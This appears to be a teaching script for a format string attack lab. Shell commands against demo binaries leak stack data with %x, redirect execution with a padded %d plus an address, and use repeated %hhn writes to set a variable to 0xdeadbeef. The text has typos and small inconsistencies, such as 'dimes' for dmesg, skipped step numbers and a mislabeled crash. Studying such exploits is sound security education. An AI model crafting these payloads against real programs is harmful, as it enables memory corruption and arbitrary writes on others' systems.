SCRIPT FOR A FORMAT STRING ATTACK Step 1. Printing stack info $ ./format_errors "hello world" $ ./format_errors "%x" $ ./format_errors "%s.%s.%s.%s.%s.%s.%s" $ ./format_errors "%s.%s.%s.%s.%s.%s.%s.%s" Step 2. How %n works $ ./format_nun_num $ ./scan_n Go through output $ ./format_n Go through how it works Step 3. Exploit! Program is ./format_overflow.c $ ./format_overflow `python -c "print 'A'*1000"` outbuf: ERR Wrong command: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... No overflow ... but: $ ./format_overflow "%550a" outbuf: ERR Wrong command: bfcb435b Segmentation fault (core dumped) And $ dmesg | tail -1 [14526.505047] fo4[3775]: segfault at 20202020 ip 20202020 sp bfcb30c0 error 14 in libc-2.24.so[b75ab000+1b30000] Now find the address we want to go to $ objdump -d format_overflow | grep bad 08048484 : Now we need to find the return address to hit. We do this with a bit of trial and error. We use the hex word 0xdeadbeef to make a hit obvious $ ./format_overflow "%500d$(printf '\xef\xbe\xad\xde')" > /dev/null; dimes | tail -1 $ ./format_overflow "%501d$(printf '\xef\xbe\xad\xde')" > /dev/null; dimes | tail -1 $ ./format_overflow "%502d$(printf '\xef\xbe\xad\xde')" > /dev/null; dimes | tail -1 $ ./format_overflow "%503d$(printf '\xef\xbe\xad\xde')" > /dev/null; dimes | tail -1 $ ./format_overflow "%504d$(printf '\xef\xbe\xad\xde')" > /dev/null; dimes | tail -1 $ ./format_overflow "%505d$(printf '\xef\xbe\xad\xde')" > /dev/null; dimes | tail -1 So if we use a 505 byte length %d format, the next 4 bytes we write will be the return address. That gives us: $ objdump -d format_overflow | grep bad 08048484 : and $./format_overflow "%505d$(printf '\x84\x84\x04\x08')" outbuf: ERR Wrong command: -1078709417??? bad Segmentation fault (core dumped) Now try it for good: $ objdump -d format_overflow | grep bad 0804846b : $./fo4 "%505d$(printf '\x6b\x84\x04\x08')" outbuf: ERR Wrong command: -1077341353??? Good Segmentation fault (core dumped) STEP 4. Now we'll go for another exploit. First, let's look at another program with a format string the user can control. $ ./format_vuln BBBB Right: BBBB Wrong: BBBB *****test_val: location 0x804a024, value 4276545 (0x00414141) Now let's print the stack and see if we can get to the printf argument $ ./format_vuln BBBB.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x Right: BBBB.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x Wrong: BBBB.0xbfc0525c.0x000400.0xb779665d.0xb75e1baf.0xb778d5dc.0x001e4c.0xbfc05704.0xbfc054ac.00000000.0x000001.0x42424242 *****test_val: location 0x804a024, value 4276545 (0x00414141) Now we can see the BBBB (0x42424242). Let's try to write out the number of bytes printed and see if that causes a problem. $ ./format_vuln BBBB.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%n Right: BBBB.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%n Segmentation fault (core dumped) Bingo! Let's see what happened: $ dmesg | tail -1 [19886.687762] format_vuln[18703]: segfault at 42424242 ip b75e6bfd sp bfc474f0 error 6 in libc-2.15.so[b75a0000+1a4000] Yes, we overwrote the return address (note the BBBB in the PC, just after "segfault". So now let's overwrite test_val with a byte: $ ./format_vuln $(printf "\x24\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%n Right: $�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%n Wrong: $�.0xbfca9b2c.0x000400.0xb77d365d.0xb761ebaf.0xb77ca5dc.0x001e4c.0xbfca9fd4.0xbfca9d7c.00000000.0x000001. *****test_val: location 0x804a024, value 107 (0x0000006b) We overwrote the value of test_val; now need to write out a single byte $ ./format_vuln $(printf "\x24\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%hhn Right: $�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%hhn Wrong: $�.0xbfe07bfc.0x000400.0xb77b765d.0xb7602baf.0xb77ae5dc.0x001e4c.0xbfe080a4.0xbfe07e4c.00000000.0x000001. *****test_val: location 0x804a024, value 4276587 (0x0041416b) The "hh" modifier to "%n" means to print 1 byte (it's 4 bytes, and each "h" stands for "half"). STEP 7. $ ./format_vuln $(printf "\x27\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%n Right: '�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%hhn Wrong: '�.0xbf83feec.0x000400.0xb772765d.0xb7572baf.0xb771e5dc.0x001e4c.0xbf840394.0xbf84013c.00000000.0x000001. *****test_val: location 0x804a024, value 1799438657 (0x6b414141) Great! But we want the first byte to be "de". As de - 6b = 115 (decimal), we need to add 115 characters of output. We can do it in a number of ways; how about this: STEP 8. $ ./format_vuln $(printf "\x27\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0123x.%hhn Right: '�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0123x.%hhn Wrong: '�.0xbff7426c.0x000400.0xb771465d.0xb755fbaf.0xb770b5dc.0x001e4c.0xbff74714.0xbff744bc.00000000.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001. *****test_val: location 0x804a024, value -566148799 (0xde414141) Now we want to change the next byte to "ad". First, let's add in its address and print out the value STEP 9. $ ./format_vuln $(printf "\x27\xa0\x04\x08")$(printf "\x26\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0123x.%hhn.%hhn Right: '�&�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0123x.%hhn.%hhn Wrong: '�&�.0xbfcd7d1c.0x000400.0xb774565d.0xb7590baf.0xb773c5dc.0x001e4c.0xbfcd81c4.0xbfcd7f6c.00000000.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001.. *****test_val: location 0x804a024, value -488423103 (0xe2e34141) ---- Oops ... we need to get the first back to "de". We compute e2 - de = 4 and adjust the number of output bytes accordingly: STEP 10. $ ./format_vuln $(printf "\x27\xa0\x04\x08")$(printf "\x26\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0119x.%hhn.%hhn Right: '�&�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0119x.%hhn.%hhn Wrong: '�&�.0xbfcebd8c.0x000400.0xb77b465d.0xb75ffbaf.0xb77ab5dc.0x001e4c.0xbfcec234.0xbfcebfdc.00000000.0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001.. *****test_val: location 0x804a024, value -555794111 (0xdedf4141) Now we go for the other bytes. We put the 4 addresses in the argument, and store something in the first two addresses (we'll get to the others in a minute): STEP 11. $ ./format_vuln $(printf "\x27\xa0\x04\x08")$(printf "\x26\xa0\x04\x08")$(printf "\x25\xa0\x04\x08")$(printf "\x24\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.%#0105x.%hhn Right: '�&�%�$�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.%#0105x.%hhn Wrong: '�&�%�$�.0xbf81d36c.0x000400.0xb77ce65d.0xb7619baf.0xb77c55dc.0x001e4c.0xbf81d814.0xbf81d5bc.00000000.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001..0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000804a026. *****test_val: location 0x804a024, value -566146751 (0xde414941) Now let's add 108 "x"s before the next %hhn to get to "ad": $ ./format_vuln $(printf "\x27\xa0\x04\x08")$(printf "\x26\xa0\x04\x08")$(printf "\x25\xa0\x04\x08")$(printf "\x24\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn Right: '�&�%�$�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn Wrong: '�&�%�$�.0xbfec1b6c.0x000400.0xb774665d.0xb7591baf.0xb773d5dc.0x001e4c.0xbfec2014.0xbfec1dbc.00000000.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001..xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx. *****test_val: location 0x804a024, value -559070911 (0xdead4141) Now let's go for the third byte. We first write a byte out to see what we need to add: $ ./format_vuln $(printf "\x27\xa0\x04\x08")$(printf "\x26\xa0\x04\x08")$(printf "\x25\xa0\x04\x08")$(printf "\x24\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn.%hhn Right: '�&�%�$�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn.%hhn Wrong: '�&�%�$�.0xbfecbeac.0x000400.0xb772565d.0xb7570baf.0xb771c5dc.0x001e4c.0xbfecc354.0xbfecc0fc.00000000.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001..xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.. *****test_val: location 0x804a024, value -559043007 (0xdeadae41) ----- It's "ae", so we want bf - ae = 17, so we add 17 characters between the last two %hhn's: $ ./format_vuln $(printf "\x27\xa0\x04\x08")$(printf "\x26\xa0\x04\x08")$(printf "\x25\xa0\x04\x08")$(printf "\x24\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn.xxxxxxxxxxxxxxx.%hhn Right: '�&�%�$�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn.xxxxxxxxxxxxxxx.%hhn Wrong: '�&�%�$�.0xbf974fbc.0x000400.0xb773d65d.0xb7588baf.0xb77345dc.0x001e4c.0xbf975464.0xbf97520c.00000000.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001..xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx..xxxxxxxxxxxxxxx. *****test_val: location 0x804a024, value -559038911 (0xdeadbe41) And now the final one. Again, let's see what goes there: $ ./format_vuln $(printf "\x27\xa0\x04\x08")$(printf "\x26\xa0\x04\x08")$(printf "\x25\xa0\x04\x08")$(printf "\x24\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn.xxxxxxxxxxxxxxx.%hhn.%hhn Right: '�&�%�$�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn.xxxxxxxxxxxxxxx.%hhn.%hhn Wrong: '�&�%�$�.0xbff533cc.0x000400.0xb77b165d.0xb75fcbaf.0xb77a85dc.0x001e4c.0xbff53874.0xbff5361c.00000000.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001..xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx..xxxxxxxxxxxxxxx.. *****test_val: location 0x804a024, value -559038785 (0xdeadbebf) Now we need to change "bf", so ef - bf = 48, and we need 48 more characters between the last two %hhn's: $ ./format_vuln $(printf "\x27\xa0\x04\x08")$(printf "\x26\xa0\x04\x08")$(printf "\x25\xa0\x04\x08")$(printf "\x24\xa0\x04\x08").%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn.xxxxxxxxxxxxxxx.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn Right: '�&�%�$�.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#0111x.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn.xxxxxxxxxxxxxxx.%hhn.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.%hhn Wrong: '�&�%�$�.0xbf9b097c.0x000400.0xb76ee65d.0xb7539baf.0xb76e55dc.0x001e4c.0xbf9b0e24.0xbf9b0bcc.00000000.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001..xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx..xxxxxxxxxxxxxxx..xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx. *****test_val: location 0x804a024, value -559038737 (0xdeadbeef) Phew! All done.